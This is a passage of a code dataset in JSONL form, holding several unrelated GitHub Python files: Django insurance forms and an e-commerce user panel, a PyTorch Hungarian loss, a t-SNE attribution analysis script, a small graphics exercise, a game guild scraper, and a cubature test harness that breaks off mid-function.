cd.get(\"age2\")\n age3 = cd.get(\"age3\")\n experience_driving1 = cd.get(\"experience_driving1\")\n experience_driving2 = cd.get(\"experience_driving2\")\n experience_driving3 = cd.get(\"experience_driving3\")\n if not unlimited_drivers:\n if (age1 and not experience_driving1) or (experience_driving1 and\n not age1):\n raise forms.ValidationError(\"Не полностью заполнены данные \"\\\n \"по второму водителю.\")\n if (age2 and not experience_driving2) or (experience_driving2 and\n not age2):\n raise forms.ValidationError(\"Не полностью заполнены данные по \"\\\n \"третьему водителю.\")\n if (age3 and not experience_driving3) or (experience_driving3 and\n not age3):\n raise forms.ValidationError(\"Не полностью заполнены данные по \"\\\n \"четвертому водителю.\")\n # На случай отключенного js.\n if age2 and not age1:\n raise forms.ValidationError(\"Нужно заполнить данные по \"\\\n \"второму водителю, прежде, чем заполнять по третьему.\")\n if age3 and not age2:\n raise forms.ValidationError(\"Нужно заполнить данные по \"\\\n \"третьему водителю, прежде, чем заполнять по четвертому.\")\n return cd\n\n # COMMENT: временное упрощение\n # def clean_price(self):\n # price = self.cleaned_data['price']\n # power = self.cleaned_data['power']\n # price_obj = Price.objects.get(price_power=power)\n # if not price_obj.price_min < price < price_obj.price_max:\n # raise forms.ValidationError(\n # \"Стоимость должна быть от %d до %d.\" % (price_obj.price_min,\n # price_obj.price_max))\n # return price\n\n def clean_experience_driving(self):\n age = int(self.cleaned_data[\"age\"])\n experience_driving = int(self.cleaned_data[\"experience_driving\"])\n if age - experience_driving < 18:\n raise forms.ValidationError(\"Опыт вождения не может отсчитываться \"\\\n \"от возраста, меньшего 18.\")\n return self.cleaned_data[\"experience_driving\"]\n\n def clean_experience_driving1(self):\n age1 = self.cleaned_data.get(\"age1\")\n experience_driving1 = self.cleaned_data.get(\"experience_driving1\")\n if age1 and experience_driving1:\n if int(age1) - int(experience_driving1) < 18:\n raise forms.ValidationError(\"Опыт вождения не может \"\\\n \"отсчитываться от возраста, меньшего 18.\")\n return experience_driving1\n\n def clean_experience_driving2(self):\n age2 = self.cleaned_data.get(\"age2\")\n experience_driving2 = self.cleaned_data.get(\"experience_driving2\")\n if age2 and experience_driving2:\n if int(age2) - int(experience_driving2) < 18:\n raise forms.ValidationError(\"Опыт вождения не может \"\\\n \"отсчитываться от возраста, меньшего 18.\")\n return experience_driving2\n\n def clean_experience_driving3(self):\n age3 = self.cleaned_data.get(\"age3\")\n experience_driving3 = self.cleaned_data.get(\"experience_driving3\")\n if age3 and experience_driving3:\n if int(age3) - int(experience_driving3) < 18:\n raise forms.ValidationError(\"Опыт вождения не может \"\\\n \"отсчитываться от возраста, меньшего 18.\")\n return experience_driving3\n\n\nclass Step2Form(forms.Form):\n factor_price = forms.BooleanField(label=\"Сортировка по цене\",\n required=False)\n factor_easepay = forms.BooleanField(label=\"Сортировка по простоте выплаты\",\n required=False)\n factor_insuranceterms = forms.BooleanField(label=\"Сортировка по условиям \"\\\n \"страхования\",\n required=False)\n factor_qualitysupport = forms.BooleanField(label=\"Сортировка по качеству \"\\\n \"информ. поддержки\",\n required=False)\n factor_reputation = forms.BooleanField(label=\"Сортировка по популярности \"\\\n \"компании\", required=False)\n factor_accessibility = forms.BooleanField(label=\"Сортировка по удобству \"\\\n \"расположения\",\n required=False)\n factor_service = forms.BooleanField(label=\"Сортировка по быстроте покупки\",\n required=False)\n\n def __init__(self, *args, **kwargs):\n super(Step2Form, self).__init__(*args, **kwargs)\n\n\nclass Step3FormReg(forms.Form):\n pass\n\n\nclass Step3FormNoReg(forms.Form):\n first_name = forms.CharField(max_length=20)\n last_name = forms.CharField(max_length=30)\n middle_name = forms.CharField(max_length=30)\n phone = PhoneNumberField()\n email = forms.EmailField(widget=forms.TextInput(attrs=dict(attrs_dict,\n maxlength=75)),\n label=\"Email address\")\n password1 = forms.CharField(\n widget=forms.PasswordInput(attrs=attrs_dict),\n label=\"Password\")\n password2 = forms.CharField(\n widget=forms.PasswordInput(attrs=attrs_dict),\n label=\"Password (again)\")\n\n captcha = CaptchaField()\n\n def clean(self):\n if 'password1' in self.cleaned_data and 'password2' in self.cleaned_data:\n if self.cleaned_data['password1'] != self.cleaned_data['password2']:\n raise forms.ValidationError(\n \"The two password fields didn't match.\")\n return self.cleaned_data\n\n def clean_email(self):\n if User.objects.filter(email__iexact=self.cleaned_data['email']):\n raise forms.ValidationError(\n \"This email address is already in use. Please supply a different email address.\")\n return self.cleaned_data['email']\n\n def clean_phone(self):\n if self.cleaned_data['phone'] == \"\":\n raise forms.ValidationError(\n \"Недопустимые символы в номере телефона.\")\n return self.cleaned_data['phone']\n\n\n#class Step4Form(ModelForm):\n# class Meta:\n# model = InsurancePolicyData\n# exclude = ('polisy',)\n\nfrom kasko import Step4Form, Step5Form, Step6Form\n","repo_name":"wd5/Insurance","sub_path":"insurance/apps/newcalc/forms/osago.py","file_name":"osago.py","file_ext":"py","file_size_in_byte":13395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70092561214","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nfrom scipy.optimize import linear_sum_assignment\n\nclass HungarianLoss(nn.Module):\n\n def __init__(self):\n super(HungarianLoss, self).__init__()\n self.use_cuda = torch.cuda.is_available()\n\n def forward(self, preds, gts, counts):\n batch_size = preds.shape[0]\n # P : (batch_size, gts.shape[1], preds.shape[1])\n loss = []\n for b in range(batch_size):\n count = counts[b]\n P = self.batch_pairwise_dist(gts[b,:count, :].unsqueeze(0), preds[b,:count, :].unsqueeze(0))\n cost = P[0].data.cpu().numpy()\n # get optimal assignments by Hungarian algo\n row_ind, col_ind = linear_sum_assignment(cost)\n # get the assignment indices but retrieve values from\n # the GPU tensor; this keeps things differentiable\n for i in range(len(row_ind)):\n loss.append(P[0, row_ind[i], col_ind[i]])\n return torch.stack(loss).mean()\n\n def batch_pairwise_dist(self,x,y):\n bs, num_points_x, points_dim = x.size()\n _, num_points_y, _ = y.size()\n xx = torch.bmm(x, x.transpose(2,1))\n yy = torch.bmm(y, y.transpose(2,1))\n zz = torch.bmm(x, y.transpose(2,1))\n if self.use_cuda:\n dtype = torch.cuda.LongTensor\n else:\n dtype = torch.LongTensor\n diag_ind_x = torch.arange(0, num_points_x).type(dtype)\n diag_ind_y = torch.arange(0, num_points_y).type(dtype)\n\n rx = xx[:, diag_ind_x, diag_ind_x].unsqueeze(1).expand_as(zz.transpose(2,1))\n ry = yy[:, diag_ind_y, diag_ind_y].unsqueeze(1).expand_as(zz)\n P = (rx.transpose(2,1) + ry - 2*zz)\n return P\n\nif __name__=='__main__':\n\n p1 = Variable(torch.rand(32,6,7).uniform_(-0.01,0.01).cuda(), requires_grad=True)\n p2 = Variable(torch.rand(32,5,7).uniform_(0.3,0.7).cuda())\n\n hungarian_loss = HungarianLoss()\n counts = (torch.ones(32)*4).type(torch.LongTensor)\n counts[:5] = 6\n counts[12:14] = 2\n counts = Variable(counts.cuda())\n d = hungarian_loss(p1,p2,counts)\n print(d)\n d.backward()","repo_name":"tejaskhot/primitive_fitting_3d","sub_path":"code/core/hungarian_loss.py","file_name":"hungarian_loss.py","file_ext":"py","file_size_in_byte":2192,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"78"} +{"seq_id":"26231418690","text":"from django.contrib.auth.decorators import login_required\nfrom django.http import HttpRequest, JsonResponse, Http404\nfrom django.shortcuts import render, redirect\nfrom django.template.loader import render_to_string\nfrom django.urls import reverse\nfrom django.views import View\nfrom django.views.generic import TemplateView, ListView\nfrom orderApp.models import Order, OrderDetail\nfrom productionsApp.models import Products\nfrom siteSettingsApp.models import settingModel\nfrom userAccountApp.models import User\nfrom .forms import editProfileModelForm, changePasswordForm\nfrom django.contrib.auth import logout\nfrom django.utils.decorators import method_decorator\n\n\n@method_decorator(login_required, name='dispatch')\nclass userPanelDashboard(TemplateView):\n template_name = 'userPanelApp/userPanelDashboard.html'\n\n def get_context_data(self, **kwargs):\n context = super(userPanelDashboard, self).get_context_data()\n\n # Get site setting model\n siteSettings: settingModel = settingModel.objects.filter(isMainSettings=True).first()\n context['siteSettings'] = siteSettings\n\n return context\n\n@login_required\ndef shoppingPaid(request: HttpRequest):\n order_id = request.GET.get('orderId')\n customerCount = int(request.GET.get('customerCount'))\n productCount = int(request.GET.get('productCount'))\n\n order_item = Order.objects.filter(id=order_id, user_id=request.user.id).first()\n order_detail = OrderDetail.objects.filter(order_id=order_id, order__isPaid=False, order__user_id=request.user.id).first()\n\n\n if order_detail is None:\n return JsonResponse({\n 'status': 'not_found_detail',\n 'icon': 'error',\n 'text': 'اطلاعات مربوطه یافت نشد!'\n })\n product = Products.objects.filter(id=order_detail.product.id).first()\n\n if product.productCount >= customerCount:\n product.productCount -= customerCount\n order_item.isPaid = True\n product.save()\n order_item.save()\n return JsonResponse({\n 'status': 'success',\n 'icon': 'success',\n 'text': 'خرید شما با موفقیت انجام شد',\n })\n else:\n return JsonResponse({\n 'status': 'product_not_available',\n 'icon': 'warning',\n 'text': 'درخواست کالای شما بیش از حد موجودی است.',\n })\n\n\n\n@method_decorator(login_required, name='dispatch')\nclass editProdileView(View):\n\n def get(self, request: HttpRequest):\n currentUser = User.objects.filter(id=request.user.id).first()\n editForm = editProfileModelForm(instance=currentUser)\n siteSettings: settingModel = settingModel.objects.filter(isMainSettings=True).first()\n\n context = {\n 'form': editForm,\n 'currentUser': currentUser,\n 'siteSettings': siteSettings\n }\n return render(request, 'userPanelApp/editProfile.html', context)\n\n def post(self, request: HttpRequest):\n currentUser = User.objects.filter(id=request.user.id).first()\n editForm = editProfileModelForm(request.POST, request.FILES, instance=currentUser)\n siteSettings: settingModel = settingModel.objects.filter(isMainSettings=True).first()\n\n if editForm.is_valid():\n editForm.save(commit=True)\n context = {\n 'form': editForm,\n 'currentUser': currentUser,\n 'siteSettings': siteSettings\n }\n return render(request, 'userPanelApp/editProfile.html', context)\n\n\n@method_decorator(login_required, name='dispatch')\nclass changePasswordView(View):\n def get(self, request: HttpRequest):\n siteSettings: settingModel = settingModel.objects.filter(isMainSettings=True).first()\n\n context = {\n 'form': changePasswordForm(),\n 'siteSettings': siteSettings\n\n }\n return render(request, 'userPanelApp/changePassword.html', context)\n\n def post(self, request: HttpRequest):\n form = changePasswordForm(request.POST)\n siteSettings: settingModel = settingModel.objects.filter(isMainSettings=True).first()\n if form.is_valid():\n currentUser: User = User.objects.filter(id=request.user.id).first()\n if currentUser.check_password(form.cleaned_data.get('current_password')):\n currentUser.set_password(form.cleaned_data.get('password'))\n currentUser.save()\n logout(request)\n return redirect(reverse('login-page'))\n else:\n form.add_error('password', 'کلمه عبور فعلی نادرست است')\n\n context = {\n 'form': form,\n 'siteSettings': siteSettings\n }\n return render(request, 'userPanelApp/changePassword.html', context)\n\n\n@method_decorator(login_required, name='dispatch')\nclass myShopping(ListView):\n model = Order\n template_name = 'userPanelApp/userShopping.html'\n\n def get_queryset(self):\n queryset = super(myShopping, self).get_queryset()\n siteSettings: settingModel = settingModel.objects.filter(isMainSettings=True).first()\n request: HttpRequest = self.request\n queryset = queryset.filter(user_id=request.user.id, isPaid=True)\n queryset['siteSettings'] = siteSettings\n return queryset\n\n\n@login_required\ndef panelPartial(request: HttpRequest):\n return render(request, 'userPanelApp/includes/panelPartial.html')\n\n\n@login_required\ndef userBasket(request: HttpRequest):\n current_order, created = Order.objects.prefetch_related('orderdetail_set').get_or_create(isPaid=False,\n user_id=request.user.id)\n\n total_amount = current_order.calculate_total_price()\n context = {\n 'order': current_order,\n 'sum': total_amount\n }\n return render(request, 'userPanelApp/userBasket.html', context)\n\n\n@login_required\ndef remove_order_detail(request):\n detail_id = request.GET.get('detailId')\n if detail_id is None:\n return JsonResponse({\n 'status': 'not_found_detail_id'\n })\n deleted_count, deleted_dict = OrderDetail.objects.filter(id=detail_id, order__isPaid=False,\n order__user_id=request.user.id).delete()\n if deleted_count == 0:\n return JsonResponse({\n 'status': 'detail_not_found'\n })\n\n current_order, created = Order.objects.prefetch_related('orderdetail_set').get_or_create(isPaid=False,\n user_id=request.user.id)\n total_amount = current_order.calculate_total_price()\n context = {\n 'order': current_order,\n 'sum': total_amount\n }\n return JsonResponse({\n 'status': 'success',\n 'body': render_to_string('userPanelApp/userBasketContent.html', context)\n })\n\n\n@login_required\ndef change_order_detail_count(request: HttpRequest):\n detail_id = request.GET.get('detailId')\n state = request.GET.get('state')\n currentCount = request.GET.get('currentCount')\n\n if detail_id is None or state is None:\n return JsonResponse({\n 'status': 'not_found_detail_id_or_state_or_there_is_no_product_available'\n })\n\n order_detail = OrderDetail.objects.filter(id=detail_id, order__isPaid=False, order__user_id=request.user.id).first()\n if order_detail is None:\n return JsonResponse({\n 'status': 'not_found_detail'\n })\n # product: Products = Products.objects.filter(id=order_detail.product.id)\n\n if state == 'increase':\n order_detail.count += 1\n order_detail.save()\n\n elif state == 'decrease':\n if order_detail.count == 1:\n order_detail.delete()\n else:\n order_detail.count -= 1\n order_detail.save()\n else:\n return JsonResponse({\n 'status': 'state_invalid!'\n })\n current_order, created = Order.objects.prefetch_related('orderdetail_set').get_or_create(isPaid=False,\n user_id=request.user.id)\n total_amount = current_order.calculate_total_price()\n context = {\n 'order': current_order,\n 'sum': total_amount\n }\n return JsonResponse({\n 'status': 'success',\n 'body': render_to_string('userPanelApp/userBasketContent.html', context)\n })\n\n\n@login_required\ndef myShoppingDetails(request: HttpRequest, order_id):\n order = Order.objects.prefetch_related('orderdetail_set').filter(id=order_id, user_id=request.user.id).first()\n if order is None:\n raise Http404('پیدا نشد')\n order_detail = OrderDetail.objects.filter()\n context = {\n 'order': order\n }\n return render(request, 'userPanelApp/userShoppingDetail.html', context)\n","repo_name":"farzanebgr/task2","sub_path":"userPanelApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39431598453","text":"import os\nimport sys\nfrom pathlib import Path\nfrom pprint import pprint\nimport pickle\nimport time\nimport copy\nimport argparse\nimport json\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport pandas as pd\nimport scipy\nfrom scipy.stats import mannwhitneyu\n\nfrom interpretable_tsne.tsne import TSNE\nimport skfeature\nfrom skfeature.function.similarity_based import lap_score\nfrom skfeature.function.similarity_based import fisher_score\nfrom skfeature.utility import construct_W\n\n\ndef make_df(file_list, results_dir):\n full_df = pd.DataFrame()\n for file in file_list:\n data = pd.read_csv(os.path.join(results_dir, file, 'sim_data_attr_exp.csv'))\n full_df = pd.concat([full_df, data])\n full_df = full_df.reset_index()\n full_df = full_df.drop(columns=['Unnamed: 0', 'index'])\n full_df['Class'] = pd.Categorical(full_df['Class'])\n return full_df\n\n\ndef make_columns_from_string_list(full_df, colname='Feat Averages'):\n _means = pd.DataFrame(full_df[colname].str.split(',', expand=True).values, \n columns = ['{} {}'.format(colname, i) for i in range(10)])\n _means['{} 0'.format(colname)] = _means['{} 0'.format(colname)].str[1:]\n _means['{} 9'.format(colname)] = _means['{} 9'.format(colname)].str[:-1]\n _means = _means.astype(float)\n full_df = full_df.drop(columns=[colname])\n full_df[_means.columns.tolist()] = _means\n return full_df\n\n\ndef get_dset_info_from_desc(string):\n toks = string.split('_')\n num_clusters = toks[1]\n eff1 = toks[3].split('=')[1]\n if num_clusters == '2':\n eff2 = 'NA'\n else:\n eff2 = toks[4].split('=')[1]\n return num_clusters, eff1, eff2\n\n\ndef _get_permutation_score(data, labels, n_permutations=10000):\n #assert 1 in np.unique(labels)\n #assert 0 in np.unique(labels)\n #assert len(np.unique(labels)) == 2\n statistic = data[labels==1].mean()\n C = 0\n for _ in range(n_permutations):\n new_labels = np.random.permutation(labels)\n new_statistic = data[new_labels==1].mean()\n if new_statistic >= statistic:\n C += 1\n return (C + 1) / (n_permutations + 1) #, statistic\n #Where C is the number of permutations whose score >= the true score.\n #The best possible p-value is 1/(n_permutations + 1), the worst is 1.0.\n\n\ndef _get_mannwhitneyu_score(data, labels):\n return mannwhitneyu(data[labels==0], data[labels==1], use_continuity=True, alternative='less').pvalue\n\n\ndef get_permutation_score(colname, data):\n data = data[(data['variable'].isin(['{} {}'.format(colname, i) for i in range(10)]))]\n is_1 = data.apply(lambda row: row['variable'] == '{} 0'.format(colname), axis=1)\n is_2 = data.apply(lambda row: row['variable'] == '{} 1'.format(colname), axis=1)\n is_3 = data.apply(lambda row: row['variable'] == '{} 2'.format(colname), axis=1)\n cond1 = ((data['Class'] == 0.0) & (is_1 | is_2))\n cond2 = ((data['Class'] == 1.0) & (is_1 | is_2))\n cond3 = ((data['Class'] == 2.0) & (is_1 | is_3))\n cond4 = ((data['Class'] == 3.0) & (is_1 | is_3))\n\n pos_idx= (cond1 | cond2 | cond3 | cond4)\n neg_idx= ~(cond1 | cond2 | cond3 | cond4)\n\n labels = np.zeros(shape=cond1.shape[0])\n labels[pos_idx] = 1\n\n return (_get_mannwhitneyu_score(data['value'].values, labels), #_get_permutation_score(data['value'].values, labels),\n data['value'].values[labels==1].mean(),\n data['value'].values[labels==1].std(),\n data['value'].values[labels==0].mean(),\n data['value'].values[labels==0].std())\n\n\ndef main(args):\n full_df = make_df(args.dsets, args.results_dir)\n\n full_df = make_columns_from_string_list(full_df, 'Feat Averages')\n full_df = make_columns_from_string_list(full_df, 'Attr Averages')\n full_df = make_columns_from_string_list(full_df, 'Feat Averages Agg')\n full_df = make_columns_from_string_list(full_df, 'Attr Averages Agg')\n full_df[['Num Cluster', 'Effect 1', 'Effect 2']] = full_df.apply(lambda row : get_dset_info_from_desc(row['Dataset Name']), axis=1, result_type='expand')\n \n filter2 = (full_df['Effect 1'] == '2') & (full_df['Effect 2'].isin(['NA', '1']))\n filter3 = (full_df['Effect 1'] == '3') & (full_df['Effect 2'].isin(['NA', '1','2']))\n filter4 = (full_df['Effect 1'] == '4') & (full_df['Effect 2'].isin(['NA', '1', '2', '3']))\n filter6 = (full_df['Effect 1'] == '6') & (full_df['Effect 2'].isin(['NA', '1', '2', '3', '5']))\n #filter8 = (full_df['Effect 1'] == '8') & (full_df['Effect 2'].isin(['NA', '1', '2', '3', '5', '7']))\n\n # get rid of big effect sizes\n #full_df = full_df[full_df['Effect 1'].isin(['1', '2', '3', '4', '6']) & full_df['Effect 2'].isin(['NA', '1', '2', '3', '5'])]\n full_df = full_df[filter2 | filter3 | filter4 | filter6]\n\n # Save this dataframe\n full_df.to_csv(os.path.join(args.final_csv_path, 'sim_data_attrs.csv'))\n\n # Now only looking at 4 cluster datasets\n df_4_cluster = full_df[full_df['Num Cluster'] == '4'].groupby(['Dataset Name', 'Class', 'Data Seed'])[['Attr Averages {}'.format(i) for i in range(10)]].mean()\n df_4_cluster['Effect 1'] = full_df[full_df['Num Cluster'] == '4'].groupby(['Dataset Name', 'Class', 'Data Seed'])['Effect 1'].first()\n df_4_cluster['Effect 2'] = full_df[full_df['Num Cluster'] == '4'].groupby(['Dataset Name', 'Class', 'Data Seed'])['Effect 2'].first()\n df_4_cluster = df_4_cluster.reset_index().melt(id_vars=['Dataset Name', 'Effect 1', 'Effect 2', 'Class', 'Data Seed'])\n df_4_cluster2 = full_df[full_df['Num Cluster'] == '4'].groupby(['Dataset Name', 'Class', 'Data Seed'])[['Feat Averages {}'.format(i) for i in range(10)]].mean()\n df_4_cluster2['Effect 1'] = full_df[full_df['Num Cluster'] == '4'].groupby(['Dataset Name', 'Class', 'Data Seed'])['Effect 1'].first()\n df_4_cluster2['Effect 2'] = full_df[full_df['Num Cluster'] == '4'].groupby(['Dataset Name', 'Class', 'Data Seed'])['Effect 2'].first()\n df_4_cluster2 = df_4_cluster2.reset_index().melt(id_vars=['Dataset Name', 'Effect 1', 'Effect 2', 'Class', 'Data Seed'])\n df_4_cluster = pd.concat([df_4_cluster, df_4_cluster2])\n datasets = np.unique(df_4_cluster['Dataset Name'])\n\n p_vals_df = pd.DataFrame({'Effect 1': [],\n 'Effect 2': [],\n 'class': [],\n 'mean of sig attrs': [],\n 'mean of non-sig attrs': [],\n 'std of sig attrs': [],\n 'std of non-sig attrs': [],\n 'attr p-val': [],\n 'mean of sig feats': [],\n 'mean of non-sig feats': [],\n 'std of sig feats': [],\n 'std of non-sig feats': [],\n 'feat p-val': []\n })\n for dataset in datasets:\n for _class in [0.0, 1.0, 2.0, 3.0]:\n _class_label = str(int(_class + 1))\n _data = df_4_cluster[(df_4_cluster['Dataset Name'] == dataset) & (df_4_cluster['Class'].isin([_class]))]\n pval_aa, m13_aa, s13_aa, m49_aa, s49_aa = get_permutation_score('Attr Averages', _data)\n pval_fa, m13_fa, s13_fa, m49_fa, s49_fa = get_permutation_score('Feat Averages', _data)\n\n p_vals_df = p_vals_df.append({'Effect 1': _data['Effect 1'].iloc[0],\n 'Effect 2': _data['Effect 2'].iloc[0],\n 'class': _class_label,\n 'mean of sig attrs': m13_aa,\n 'mean of non-sig attrs': m49_aa,\n 'std of sig attrs': s13_aa,\n 'std of non-sig attrs': s49_aa,\n 'attr p-val': pval_aa,\n 'mean of sig feats': m13_fa,\n 'mean of non-sig feats': m49_fa,\n 'std of sig feats': s13_fa,\n 'std of non-sig feats': s49_fa,\n 'feat p-val': pval_fa}, ignore_index=True)\n p_vals_df.to_csv(os.path.join(args.final_csv_path, 'sim_data_pvalues.csv'))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Create Attribution experiment with Baselines')\n parser.add_argument('--dsets', nargs='+', type=str,\n help='Names of datasets')\n parser.add_argument('--results_dir', type=str,\n help='directory of where per-experiment result csvs are')\n parser.add_argument('--step', type=int, default=250,\n help='Which step of attr to use in computations')\n parser.add_argument('--seeds', nargs='+', type=str,\n help='dataset/t-SNE seeds used')\n parser.add_argument('--final_csv_path', type=str,\n help='where to save the final csv file')\n parser.add_argument('--grad_style', type=str,\n help='What gradient style to use: `grad_norm`, `kl_obj`, `mean_grad_norm`, `kl_obj_mean`, `none`')\n args = parser.parse_args()\n main(args)\n","repo_name":"MattScicluna/interpretable_tsne_experiment","sub_path":"src/combine_sim_data_tables.py","file_name":"combine_sim_data_tables.py","file_ext":"py","file_size_in_byte":9266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17535017217","text":"sky = Rect(0, 0, 400, 400, fill='midnightBlue')\n\nmoon = Circle(200, 170, 100, fill='gold')\nsun = Circle(175, 140, 100, fill='midnightBlue')\n\n# cloud\nCircle(240, 240, 30, fill='white')\nCircle(200, 260, 45, fill='white')\nCircle(150, 270, 30, fill='white')\nCircle(250, 290, 30, fill='white')\nCircle(275, 260, 40, fill='white')\n\ndef onMousePress(mouseX, mouseY):\n # Make it daytime by changing the fills of the globals.\n ### Place Your Code Here ###\n sky.fill=\"skyblue\"\n moon.fill=\"skyBlue\"\n sun.fill=gradient(\"yellow\",\"gold\")\n\ndef onMouseRelease(mouseX, mouseY):\n # Make it nighttime by changing the fills back.\n ### Place Your Code Here ###\n sky.fill=\"midnightBlue\"\n moon.fill=\"gold\"\n sun.fill=\"midnightBlue\"\n","repo_name":"Psycho461/-APCSP-CSAcademyANSWERS","sub_path":"2.2.4 Sun and moon.py","file_name":"2.2.4 Sun and moon.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"22009038736","text":"from bs4 import BeautifulSoup\nimport urllib.request as req\nimport Member\n\nclass up1:\n\n\tdef __init__(self, guild):\n\t\tself.guild_id = guild.id\n\t\tself.guild_wid = guild.wid\n\t\tself.position_standard=guild.position_standard\n\t\tself.soup = None\n\n\tdef get_guild(self):\n\t\tif self.guild_id is None or self.guild_wid is None:\n\t\t\treturn\n\t\tguild=[]\n\t\tfor j in range(1,14):\n\t\t\tpage = j\n\t\t\turl = \"https://maplestory.nexon.com/Common/Guild?gid=%d&wid=%d&orderby=1&page=%d\"\n\t\t\tres = req.urlopen(url % (self.guild_id, self.guild_wid, page)).read()\n\t\t\tself.soup = BeautifulSoup(res, 'html.parser')\n\t\t\ta = []\n\t\t\tp = self.soup.findChildren(\"td\")\n\t\t\tif p != None:\n\t\t\t\tfor i in range(len(p)):\n\t\t\t\t\tif (i % 5) == 1:\n\t\t\t\t\t\ta.append(p[i].text.strip(\"\\n\").split(\"\\n\")[0])\n\t\t\t\t\tif (i % 5) == 2:\n\t\t\t\t\t\ta.append(p[i].text.strip(\"\\n\"))\n\t\t\t\tfor i in range(int(len(a) / 2)):\n\t\t\t\t\tmb=Member.Member()\n\t\t\t\t\tmb.name=a[i*2]\n\t\t\t\t\tmb.level=int(a[i*2+1].strip(\"Lv.\"))\n\t\t\t\t\tguild.append(mb)\n\t\t\tif a==[]:\n\t\t\t\tbreak\n\t\t\t\t\n\t\tif self.position_standard:\n\t\t\tfor i in self.position_standard:\n\t\t\t\tfor j in guild:\n\t\t\t\t\tif j.name == i[0]:\n\t\t\t\t\t\tj.position_id = i[1]\n\t\t\tfor i in range(1,len(guild)):\n\t\t\t\tif guild[i-1].position_id:\n\t\t\t\t\tguild[i].position_id=guild[i-1].position_id\n\t\t\treturn guild\n\t\telse:\n\t\t\tguild[0].position_id=0\n\t\t\tguild[1].position_id=1\n\t\t\tpo=[1,1,0,0,0]\n\t\t\tfor i in range(2,len(guild[2:])+2):\n\t\t\t\tif guild[i].level > guild[i-1].level:\n\t\t\t\t\tguild[i].position_id=guild[i-1].position_id+1\n\t\t\t\telse:\n\t\t\t\t\tguild[i].position_id = guild[i-1].position_id\n\t\t\t\tpo[guild[i].position_id] += 1\n\t\t\tif 0 in po:\n\t\t\t\tfor i in range(len(guild)):\n\t\t\t\t\tguild[i].position_id=None\n\t\t\treturn guild\n\nif __name__==\"__main__\":\n\tfrom Guild import Guild\n\tguild = Guild()\n\tguild.name=\"미리\"\n\tguild.server=\"arcane\"\n\tguild.get_guild_data(guild.server, guild.name)\n\tup = up1(guild)\n\tdata = up.get_guild()\n\n","repo_name":"ehrl1225/maple","sub_path":"up1.py","file_name":"up1.py","file_ext":"py","file_size_in_byte":1842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"10746799528","text":"import sys\nimport os\nfrom subprocess import Popen, PIPE\nfrom operator import mod\n\nimport numpy as np\nfrom numpy import pi, sin, cos, exp, zeros, ones, float64\n\nfrom cubature import cubature\n\ncount = 0\nfdim = 1\nfunction = 0\nndim = 0\nK_2_SQRTPI = 1.12837916709551257390\nradius = 0.50124145262344534123412\n\nclass Logger(object):\n def __init__(self):\n self.file = open('test_cubature.txt', 'w')\n self.file.close()\n self.stdout = sys.stdout\n sys.stdout = self\n def write(self, text):\n self.file = open('test_cubature.txt', 'a')\n self.file.write(text)\n self.file.close()\n self.stdout.write(text)\n\ndef f_test(x, *args):\n global count, ndim, fdim, function, K_2_SQRTPI, radius\n count += 1\n if function == 0:\n val = ones(fdim, float64)\n for i in range(ndim):\n val *= cos(x[i])\n elif function == 1:\n scale = 1.\n val = zeros(fdim, float64)\n for i in range(ndim):\n if x[i] > 0:\n z = (1 - x[i]) / x[i]\n val += z**2\n scale *= K_2_SQRTPI / x[i]**2\n else:\n scale = 0\n val = scale * exp(-val)\n elif function == 2:\n val = zeros(fdim, float64)\n for i in range(ndim):\n val += x[i]**2\n val[:] = (val[0] < radius**2)\n elif function == 3:\n val = ones(fdim, float64)\n for i in range(ndim):\n val *= 2.0 * x[i]\n elif function == 4:\n sum1 = zeros(fdim, float64)\n sum2 = zeros(fdim, float64)\n a = 0.1\n for i in range(ndim):\n dx1 = x[i] - 1. / 3.\n dx2 = x[i] - 2. / 3.\n sum1 += dx1**2\n sum2 += dx2**2\n return 0.5 * pow (K_2_SQRTPI / (2. * a), ndim) \\\n * (exp (-sum1 / a**2) + exp (-sum2 / a**2))\n elif function == 5:\n sum1 = zeros(fdim, float64)\n sum2 = zeros(fdim, float64)\n a = 0.1\n for i in range(ndim):\n dx1 = x[i] - 1. / 3.\n dx2 = x[i] - 2. / 3.\n sum1 += dx1 * dx1\n sum2 += dx2 * dx2\n return 0.5 * pow (K_2_SQRTPI / (2. * a), ndim) \\\n * (exp (-sum1 / a**2) + exp (-sum2 / a**2))\n elif function == 6:\n val = ones(fdim, float64)\n c = (1.+ 10.**0.5)/9.\n for i in range(ndim):\n val *= c / (c + 1) * pow((c + 1) / (c + x[i]), 2.0)\n elif function == 7:\n p = ones(fdim, float64) / ndim\n val = pow(1 + p, ndim)\n for i in range(ndim):\n val *= pow(x[i], p)\n return val\n\ndef f_test_vec(xvec, npt, *args):\n global ndim, fdim\n out = np.zeros(fdim*npt)\n x = np.zeros(ndim)\n for i in range(npt):\n for j in range(ndim):\n x[j] = xvec[i*ndim+j]\n out[i*fdim:(i+1)*fdim] = f_test(x, *args)\n return out\n\n\ndef exact0(ndim, xmax):\n val = 1.\n for i in range(ndim):\n val *= sin(xmax[i])\n return val\n\ndef exact2_S(n):\n fact = 1\n if mod(n, 2) == 0:\n val = 2 * pow(pi, n * 0.5)\n n = n / 2\n while (n > 1):\n fact *= n\n n -= 1\n val /= fact\n else:\n val = (1 << (n/2 + 1)) * pow(pi, n/2)\n while (n > 2):\n fact *= n\n n -= 2\n val /= fact\n return val\n\ndef exact2(ndim, xmax):\n global radius\n val = 1 if ndim == 0 else exact2_S(ndim) * pow(radius * 0.5, ndim) / ndim\n return val\n\ndef exact_integral(i, ndim, xmax):\n if i in [1,3,4,5,6,7]:\n return 1.\n elif i == 0:\n return exact0(ndim, xmax)\n elif i == 2:\n return exact2(ndim, xmax)\n\ndef main(lndim, tol, functions, maxEval, lfdim):\n global count, ndim, fdim, function\n 